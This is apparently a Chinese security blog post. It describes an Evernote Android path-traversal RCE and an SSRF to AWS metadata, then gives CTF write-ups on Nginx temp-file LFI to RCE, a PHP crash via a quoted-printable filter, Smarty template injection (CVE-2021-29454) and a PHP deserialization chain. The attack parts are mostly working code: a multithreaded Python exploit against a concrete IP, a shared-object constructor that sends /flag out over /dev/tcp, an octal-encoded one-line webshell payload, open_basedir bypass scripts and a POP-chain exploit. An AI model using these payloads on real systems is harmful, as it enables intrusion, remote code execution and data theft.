四月份的第一篇技术文章

印某笔记的两个漏洞

RCE(安卓端的)

影响版本:

安卓app小于10.24通杀

简单描述:

在印象笔记,我们可以添加附件,并且可以选择重命名添加的附件。

但是有一个地方,那就是我发现附件重命名时特殊字符不受限制,例如test.so 可以将使用名称上传的文件重命名为../../../lib-1/test.so,下载附件时使用文件名下载../../../lib-1/test.so。应用程序也不会清理接收到的文件名,因此当用户单击附件时,附件不会下载到/data/data/com.evernote/cache/preview/:UUID/,而是下载我们搭载恶意载荷的/data/data/com.evernote/lib-1/test.so

这个地方我想了下,还是脱敏吧,但是我可以发.so文件,可以取用。
  1. 将本机库 poc 文件添加到注释。并重命名为我上面提到的那种格式
  2. 让目标去点我们的恶意文件
  3. 然后复制内部链接,再复制网页链接或复制应用程序链接(这是 android 深层链接,可以从网站触发)安卓内部链接,然后进行分享。
  4. 只要目标点击我们分享的附件,然后关闭应用后,重新进入印象笔记。利用adb shell我们就可以实现rce

image.png

SSRF

这个SSRF已经修复了。。。但是我稍微提一下吧。

灵感来自于这篇文章:https://blog.csdn.net/weixin_36322454/article/details/112652003

其实和印象笔记的编码格式有关,是base64,解密一下就能显示出原文, ZmlsZTovLy92YXIvd3d3L2h0bW1sLyMuanM=

解出来以后,会发现有一个#进行截断,这个地方之所以使用#是因为 url 的结尾必须在 javascript 中,但要在 uri 之中注释掉,然后我们用file://进行获取本地文件

读取AWS EC2元数据

为了对url参数进行相应的修改,需要查看当前运行实例中所有类别的实例元数据,

若想SSRF,可以试一下下这个,不过被修好了。。。https://www.evernote.com/ro/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8jLmpz/-1430533899.js

这样,我们就能读取秘密访问密钥、令牌等机密信息了。之后,将这些信息导出后,就可以通过亚马逊云的客户端访问……这个,你们懂的。

简单来说,利用这里的安全权限,我们就可以通过SSRF漏洞实现RCE了。

LFI to RCE

tech4.png

最近碰到许多文件包含漏洞的利用问题,稍稍总结一下最近碰到的几种利用LFI to RCE的姿势。

但其实基本上都是借助临时文件

Nginx缓存临时文件

环境

  • Nginx

原理

Nginx 接收Fastcgi的过大响应 或 request body过大时会缓存临时文件

临时文件的生成

client_body_buffer_size:
Sets buffer size for reading client request body. In case the request body is larger than the buffer, the whole body or only its part is written to a temporary file. By default, buffer size is equal to two memory pages. This is 8K on x86, other 32-bit platforms, and x86-64. It is usually 16K on other 64-bit platforms.

设置用于读取客户端请求正文的缓冲区大小。如果请求正文大于缓冲区,则整个正文或仅其部分将写入临时文件。默认情况下,缓冲区大小等于两个内存页。这是 x86、其他 32 位平台和 x86-64 上的 8K。在其他 64 位平台上,它通常为 16K。

关于这个地方,我们可以去ngx_open_tempfile看看Nginx生成临时文件的方式

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

创建之后会马上删除这个文件,然后把这个文件的fd返回出去。

那我们能不能利用条件竞争然后写入临时文件呢?很遗憾,很难。因为临时文件的文件名与Nginx的请求处理长度有关,随着请求处理的增长而增长, 且临时文件的文件名一般为/var/lib/nginx/body/000000xxxx,一个十位向左填充0的数字。所以我们不但需要去爆破文件名,还要同时利用条件竞争保存临时文件,完成两个基本不可能。

模拟Nginx行为

我们可以用 c 简单复刻一个大概的 demo ,使用如下代码模拟 Nginx 对于临时文件处理的行为

贴一份大佬的代码:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <unistd.h>

int main() {
    puts("[+] test for open/unlink/write [+]\n");
    int fd = open("test.txt", O_CREAT|O_EXCL|O_RDWR, 0600);
    printf("open file with fd %d,try unlink\n",fd);

    unlink("test.txt");
    printf("unlink file, try write content\n");
    if(write(fd, "<?php phpinfo();?>", 19) != 19)
    {
        printf("write file error!\n");
    }

    char buffer[0x10] = {0};
    lseek(fd, 0,SEEK_SET);
    int size = read(fd, buffer , 19);
    printf("read size is %d\n",size);
    printf("read buffer is %s\n",buffer);

    while(1) {
        sleep(10);
    }
    // close(fd);
    return 0;
}
dr-x------ 2 root root  0 Mar  22 15:33 ./
dr-xr-xr-x 9 root root  0 Mar  22 15:33 ../
lrwx------ 1 root root 64 Mar  22 15:33 0 -> /dev/pts/0
lrwx------ 1 root root 64 Mar  22 15:33 1 -> /dev/pts/0
lrwx------ 1 root root 64 Mar  22 15:33 2 -> /dev/pts/0
lrwx------ 1 root root 64 Mar  22 15:33 3 -> /root/test/test (deleted)

可以看到,在对应进程的proc目录下,存在对应的fd项目,且为一个软链接,连接到/root/test/test (deleted),表明该文件已被删除,但仍然可以继续写入并读出。对于软链接文件,PHP会尝试先对软链接进行解析,此时php还会产生临时文件,再将其打开。只要能找到对应的线程,竞争到proc中的fd即可完成包含,就可以对我们发送的payload进行包含

总结起来整个过程就是:

  • 让后端 php 请求一个过大的文件
  • Fastcgi 返回响应包过大,导致 Nginx 产生临时文件进行缓存
  • Nginx 删除了/var/lib/nginx/body下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

题目:HFCTF 2022 | ezphp

  • 源码

  • dockerfile

    FROM php:7.4.28-fpm-buster
    
    LABEL Maintainer="yxxx"
    ENV REFRESHED_AT 2022-03-14
    ENV LANG C.UTF-8
    
    RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
    RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
    RUN apt upgrade -y && \
      apt update -y && \
      apt install nginx -y
    
    ENV DEBIAN_FRONTEND noninteractive
    
    COPY index.php /var/www/html
    COPY default.conf /etc/nginx/sites-available/default
    COPY flag /flag
    
    EXPOSE 80
    
    CMD php-fpm -D && nginx -g 'daemon off;'

当时做一开始的时候想错了,以为是要用php-fpm来打system,然后利用P牛的payload直接打,结果发现不行。。。首先就是环境不对。然后参考了一下 hxpctf2021 的 update 和 includer’s revenge。

这样的话,只需要想办法写入so文件到Nginx缓存就可以了。

#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
    unsetenv("LD_PRELOAD");
    char str[65536];
    system("bash -c 'cat /flag' > /dev/tcp/ip/port");
    system("cat /flag > /var/www/html/flag");
}

生成.so文件

gcc test.c -fpIC -shared -o libsss.so

再通过python脚本,一直往服务器传写入.so文件,之后在URL后面访问flag,得到答案。

import requests
import threading
import multiprocessing
import threading
import random
URL = f'xxx.xxx.xxx.xxx'
nginx_workers = [12, 13, 14, 15]
done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    while not done:
        requests.get(URL, data=open("C:\\Users\\Desktop\\libsss.so", "rb").read() + (16*1024*'A').encode())

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/{pid}/fd/{fd}'
            print(f)
            try:
                r = requests.get(URL, params={
                    'env': 'LD_PRELOAD='+f,
                })
                print(r.text)
            except Exception:
                pass

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

完整的利用过程也可以用一份python脚本实现:

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://120.79.121.132:20674"
NGINX_PIDS_CACHE = set([x for x in range(10,15)])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = True

def create_requests_session():
    session = requests.Session()
    # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
    adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
    session.mount('http://', adapter)
    return session

def get_nginx_pids(requests_session):
    if USE_NGINX_PIDS_CACHE:
        return NGINX_PIDS_CACHE
    nginx_pids = set()
    # Scan up to PID 200
    for i in range(1, 200):
        cmdline = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D/proc/{i}/cmdline").text
        if cmdline.startswith("nginx: worker process"):
            nginx_pids.add(i)
    return nginx_pids

def send_payload(requests_session, body_size=1024000):
    try:
        # The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
        payload = open("hack.so","rb").read()
        requests_session.post(SERVER + "/index.php?action=read&file=/bla", data=(payload + (b"a" * (body_size - len(payload)))))
    except:
        pass

def send_payload_worker(requests_session):
    while True:
        send_payload(requests_session)

def send_payload_multiprocess(requests_session):
    # Use all CPUs to send the payload as request body for Nginx
    for _ in range(multiprocessing.cpu_count()):
        p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
        p.start()

def generate_random_path_prefix(nginx_pids):
    # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
    path = ""
    component_num = random.randint(0, 10)
    for _ in range(component_num):
        pid = random.choice(nginx_pids)
        if random.randint(0, 1) == 0:
            path += f"/proc/{pid}/cwd"
        else:
            path += f"/proc/{pid}/root"
    return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
    nginx_pid_list = list(nginx_pids)
    while True:
        path = generate_random_path_prefix(nginx_pid_list)
        path += f"/proc/{nginx_pid}/fd/{fd}"
        try:
            d = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D{path}").text
        except:
            continue
        # Flags are formatted as hxp{<flag>}
        if "HFCTF" in d:
            print("Found flag! ")
            print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
    # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
    for fd in range(10, 45):
        thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
        thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
    for nginx_pid in nginx_pids:
        p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
        p.start()

if __name__ == "__main__":
    print('[DEBUG] Creating requests session')
    requests_session = create_requests_session()
    print('[DEBUG] Getting Nginx pids')
    nginx_pids = get_nginx_pids(requests_session)
    print(f'[DEBUG] Nginx pids: {nginx_pids}')
    print('[DEBUG] Starting payload sending')
    send_payload_multiprocess(requests_session)
    print('[DEBUG] Starting fd readers')
    read_file_multiprocess(requests_session, nginx_pids)

Apache下PHP崩溃永久保留临时文件

CVE-2016-7125

5.6.25 之前的 PHP 和 7.0.10 之前的 7.x 中的 ext/session/session.c 以触发错误解析的方式跳过无效的会话名称,这允许远程攻击者通过控制会话来注入任意类型的会话数据名称。

原理

文件流保存

PHP在处理一个文件上传的请求数据包时,会将目标文件流保存到临时目录下,并且会以PHP+随机六位字符串进行保存(php[0-9A-Za-z]{3,4,5,6}),而一个文件流的处理有存活周期,在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。在这期间,一个临时文件存活时间大概有30s。

了解了处理机制,那我们如何去确定临时文件呢?最简单的是暴力破解,但是30s的时间来确定1/2176782336,emm...这个概率基本不可能。。。

除了在30s内确定临时文件以外,还有什么别的办法呢?前面说过,PHP崩溃把临时文件永久保留下来,既然这样的话,只要我们引起PHP崩溃我们就有足够的时间来进行爆破了。

题目:[HITCON CTF 2018]One Line PHP Challenge

  • 源码:

  • 题目环境

    Ubuntu 18.04 + PHP 7.2 + Apache(具体和Ubuntu版本关系不大,重点是后两个)

直接上POC,我们对POC进行分析

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

已知POC是在data部分传入超大ascii码时,引起PHP崩溃。那么问题来了,PHP为什么会崩溃?是因为文件流太大吗?

PHP底层问题

具体问题分析可以看php-src/ext/standard/filters.c,分析方法有点类似于之前从php底层去研究ini_set,可以去看这篇文章https://xz.aliyun.com/t/10893

case PHP_CONV_ERR_TOO_BIG: {
    char *new_out_buf;
    size_t new_out_buf_size;

    new_out_buf_size = out_buf_size << 1;
//new_out_buf_size会比out_buf_size左移一位,但是如果out_buf_size本身就非常小,就无法进入下面的if循环
    if (new_out_buf_size < out_buf_size) {
        /* whoa! no bigger buckets are sold anywhere... */
        if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
            goto out_failure;
        }//上面这个if不用考虑了,直接看下面。

        php_stream_bucket_append(buckets_out, new_bucket);

        out_buf_size = ocnt = initial_out_buf_size;
        out_buf = pemalloc(out_buf_size, persistent);//如果不是内部字符串并且引用计数为1时,直接调用perealloc分配内存。
        pd = out_buf;
    } else {
        new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
        pd = new_out_buf + (pd - out_buf);
        ocnt += (new_out_buf_size - out_buf_size);
        out_buf = new_out_buf;
        out_buf_size = new_out_buf_size;
    }//当没有进入上面那个if,就会导致每次内存分配都会倍增,进而过大。
} break;

正常逻辑:

PHP_CONV_ERR_TOO_BIG错误就代表out_buf_size是个大数,通过左移能丢失最高位变成一个小数,从而进入if分支goto跳出循环。

但是这里的问题是,errPHP_CONV_ERR_TOO_BIG, out_buf_size是个小数。

当我们输入的字符串中存在ascii大于126的字符,那么就会进入如下else分支

else {
if (line_ccnt < 4) {
    if (ocnt < inst->lbchars_len + 1) {
        err = PHP_CONV_ERR_TOO_BIG;
        break;
    }
    *(pd++) = '=';
    ocnt--;
    line_ccnt--;

    memcpy(pd, inst->lbchars, inst->lbchars_len);
    pd += inst->lbchars_len;
    ocnt -= inst->lbchars_len;
    line_ccnt = inst->line_len;
}

而在一开始,isnt初始化,

case PHP_CONV_QPRINT_ENCODE: {
unsigned int line_len = 0;
char *lbchars = NULL;
size_t lbchars_len;
int opts = 0;

if (options != NULL) {
        ...
}
retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
    if (lbchars != NULL) {
    ...

} else {
        if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
        goto out_failure;
        }
    }
} break;

然后lbchars_len进行赋值

static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
    if (line_len < 4 && lbchars != NULL) {
        return PHP_CONV_ERR_TOO_BIG;
    }
    inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
    inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
    inst->line_ccnt = line_len;
    inst->line_len = line_len;
    if (lbchars != NULL) {
        inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
        inst->lbchars_len = lbchars_len;
    } else {
        inst->lbchars = NULL;
    }
    inst->lbchars_dup = lbchars_dup;
    inst->persistent = persistent;
    inst->opts = opts;
    inst->lb_cnt = inst->lb_ptr = 0;
    return PHP_CONV_ERR_SUCCESS;
}

可以看出,因为我们使用php://没有对convert.quoted-printable-encode附加options, 所以这里的options就是NULL,一直到了else分支, 我们可以看到传的参数为(php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)

因此,lbcharsNULL,导致lbchars_len没有被赋值,所以inst->lbchars_len变量未初始化调用。

根据定义,我们知道lbchars_len长度为8bytes,通过调整附加data的长度,会有一些request报文头的8bytes被存储到inst->lbchars_len

} else {
    if (line_ccnt < 4) {
        if (ocnt < inst->lbchars_len + 1) {
            err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
            break;
        }
        *(pd++) = '=';
        ocnt--;
        line_ccnt--;

        memcpy(pd, inst->lbchars, inst->lbchars_len);
        pd += inst->lbchars_len;
        ocnt -= inst->lbchars_len;
        line_ccnt = inst->line_len;
    }
    if (ocnt < 3) {
        err = PHP_CONV_ERR_TOO_BIG;
        break;
    }
    *(pd++) = '=';
    *(pd++) = qp_digits[(c >> 4)];
    *(pd++) = qp_digits[(c & 0x0f)];
    ocnt -= 3;
    line_ccnt -= 3;
    if (trail_ws > 0) {
        trail_ws--;
    }
    CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

可以发现memcpy的位置第二个参数是NULL,第一个,第三个参数可控,如果被调用,会导致一个segfault,从而在tmp下驻留文件,但是我们无法使用%00,如何让ocnt < inst->lbchars_len + 1不成立呢?(ocnt为data的长度),这里就要利用整数溢出,将lbchars_len + 1溢出到0。这样我们就可以控制inst->lbchars_len的值了,但是因为php://resource内容不能包含\x00,所以只能构造\x01-\xff的内容。

综上分析:

  • inst->lbchars_len可控且存在整数溢出
  • inst->lbchars_len 变量未初始化调用

所以我们的POC才会引起PHP崩溃

影响测试

直接用我们的POC测试漏洞影响版本。

<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>

借助了docker测试,经过实测,PHP<7.4 & PHP<5.6.25 两种条件下都可实现PHP崩溃

  • PHP-7.1.3

    image.png

  • PHP-5.6.28

    当前版本下不会引起PHP崩溃

    image.png

CVE-2021-29454:Smarty模板注入

CVE-2021-29454:Smarty模板注入

20210430203230.jpeg

漏洞报告

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。

源码分析

对比官方修复的代码,在/plugins/function.math.php添加了如下一段

   // Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);

    // Adapted from https://www.php.net/manual/en/function.eval.php#107377
    $number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
    $functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
    $operators = '[+\/*\^%-]'; // Allowed math operators
    $regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*\((?1)+\)|\((?1)+\)))(?:'.$operators.'(?2))?)+$/';

    if (!preg_match($regexp, $equation)) {
        trigger_error("math: illegal characters", E_USER_WARNING);
        return;
    }

对恶意拼接的数学字符串进行过滤(漏洞利用POC格式其实也在这里写出来了,参考$regexp

而在较低版本下,缺少过滤部分,进而导致RCE

image.png

并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加

/**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBackticksIllegal()
    {
        $expected = "22.00";
        $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testDollarSignsIllegal()
    {
        $expected = "22.00";
        $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBracketsIllegal()
    {
        $expected = "I";
        $tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

漏洞利用实例——红明谷 2022 | Smarty calculator

考点

  • Smarty3.1.39 模板注入(CVE-2021-29454)
  • Bypass open_basedir
  • Bypass disable_functions

过程详解

image.png

看到Smarty,联系题目描述就明白这是Smarty模板注入,但是出题人修改了模板规则(真滴苟啊)。

一般情况下输入{$smarty.version},就可以看到返回的Smarty当前版本号,此题版本是3.1.39。

image.png

扫一下网站,发现存在源码泄露,访问www.zip即可下载,打开分析。

index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
    <h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
    <form action="" method="POST">
        <input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value="">
        <br>
        <input type="submit" value="Submit">
    </form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
  $pattern = "php|\<|flag|\?";
  $vpattern = explode("|", $pattern);
  foreach ($vpattern as $value) {
        if (preg_match("/$value/", $data)) {
          echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");
          die();
        }
    }
    return $data;
}

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
      $smarty->display("string:" . $data);
  }else{
      echo "<script>alert(\"你还没有登录\")</script>";
  }
}

在index.php中定义了waf函数,会检测$data中是否含有php < flag字样,这个还是蛮好绕的。

还会检测cookielogin是否存在且值不为零,只要在cookie上添加就好。

剩下的太多了。。。所以我筛选了一下,发现出题人应该只修改过3个文件。

image.png

用Beyond Compare对比一下官方模板,发现了出题人重点修改的地方就是正则匹配。

d086b446d97604590753185c677577e.png

在CVE-2021-29454,有关Smarty的安全问题上,也有提到

  • 阻止$smarty.template_object在沙盒模式下访问
  • 修复了通过使用非法函数名的代码注入漏洞{function name='blah'}{/function}
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
    $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}

那么接下来,请欣赏各种优雅的过正则姿势

姿势一

image.png

在正则处打下断点进行测试,

image.png

发现可以通过换行绕过正则

image.png

设置完cookie后,url编码一下,POST传参,poc执行成功

image.png

但是不能直接cat /flag,有disable_functions以及open_basedir,绕过open_basedir的方法可太多了,我之前写了一篇文章你的open_basedir安全吗? - 先知社区 (aliyun.com)

syslink() php 4/5/7/8
symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

<?php
highlight_file(__FILE__);
mkdir("A");//创建目录
chdir("A");//切换目录
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","abc");
unlink("aaa");
mkdir("aaa");
?>
ini_set()

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string
POC
<?php
highlight_file(__FILE__);
mkdir('Andy');  //创建目录
chdir('Andy');  //切换目录
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

姿势二

其实这个正则并不难,我们可以直接利用八进制数,然后借用Smarty的math equation,直接写入一句话shell,Antsword连接就好。

image.png

payload:

eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\141\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\120\\141\\143\\153\\47\\135\\51\\73\\77\\76\")"}

然后蚁剑连接,在根目录下得到flag

image.png

姿势三

既然我们能利用函数名了,那么我们也可以用一些数学函数执行命令,我当时用就是这一种(其实是另外两种没想到,嘿嘿嘿)

<?php
highlight_file(__FILE__);
//error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
//$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2]);" p=1 }');
$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\' ./\'.\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2].\'>1\');" p="1" }');
//exec('cat /flag')>1
?>

将执行结果写入1文件,同样,因为有disable_functions以及open_basedir,所以执行会不成功吗,重复姿势一,就能绕过。

PHP垃圾回收器与反序列化的利用

题目源码

来源于浙江省赛的一道题目

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){//用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

比较简单的反序列化,我都能看懂要干什么。。。

简单来说在类Fun中call_user_func函数调用getFlag,所以只需调用Fun里的__call,而Fun中不存在的方法即可。可以看到类A中__get方法中含有调用方法的语句。调用私有属性以及不存在的属性触发__get方法。这里借助类B即可达到。

call_user_func函数,第一个参数是函数名,后面的参数是此函数的参数。若调用的函数在类里,那么这个参数要用数组形式传递,第一个元素为类名,第二个元素为函数名。绕过__wakeup修改属性个数即可,可能包含不可见字符,要编码。

EXP:

<?php
class Fun{
    private $func;
    public function __construct(){
    $this->func = "Test::getFlag";
    }
}

class Test{
    public function getFlag(){
    }
}

class A{
    public $a;
}

class B{
    public $p;
}

$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;

$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);

垃圾回收机制

在预期解中我们的pop链是class B -> class A::__get -> class Fun::__call -> class Test::getFlag,可是B里的__destruct()没有主动触发。

__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

在常规思路中destruct是隐式销毁触发的,那能不能利用显式销毁呢?

旧版本GC

在PHP5.3版本之前,垃圾回收机制采用的是简单的计数规则,没有专门的垃圾回收器的,只是简单的判断了一下变量的zval的refcount是否为0,是的话就释放否则不释放直至进程结束。

  1. 给每一个内存对象都分配一个计数器,当内存对象被变量引用时,计数器加一
  2. 当每个变量引用unset后,计数器减一
  3. 当计数器为0时,表明内存对象没有被使用,该内存对象进行销毁,垃圾回收

但是,如果内存对象本身被自己引用,就会出现一个问题:自己占一个,被引用后计数器再加一。引用撤掉后,计数器减一,只有计数器归零才能回收,但此时计数器是1,因此产生了内存泄漏。

新版本GC - zval结构体

zval ("Zend Value" 的缩写) 代表任意 PHP 值。所以它可能是所有 PHP 中最重要的结构,并且在使用 PHP 的时候,它也在进行大量工作。

refcount:多少个变量是一样的用了相同的值,这个数值就是多少。
is_ref:bool类型,当refcount大于2的时候,其中一个变量用了地址&的形式进行赋值,好了,它就变成1了。

举个例子:

<?php
$name = "111";
xdebug_debug_zval('name');
//(refcount=1, is_ref=0)string '111' (length=3)

增加一个数:

<?php
$name = "111";
$temp_name = $name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=0)string '111' (length=3)

引用赋值:

<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=1)string '111' (length=3)

主动销毁变量:

<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
unset($temp_name);
xdebug_debug_zval('name');
//name:
//(refcount=2, is_ref=1)string '111' (length=3)
//name:
//(refcount=1, is_ref=1)string '111' (length=3)

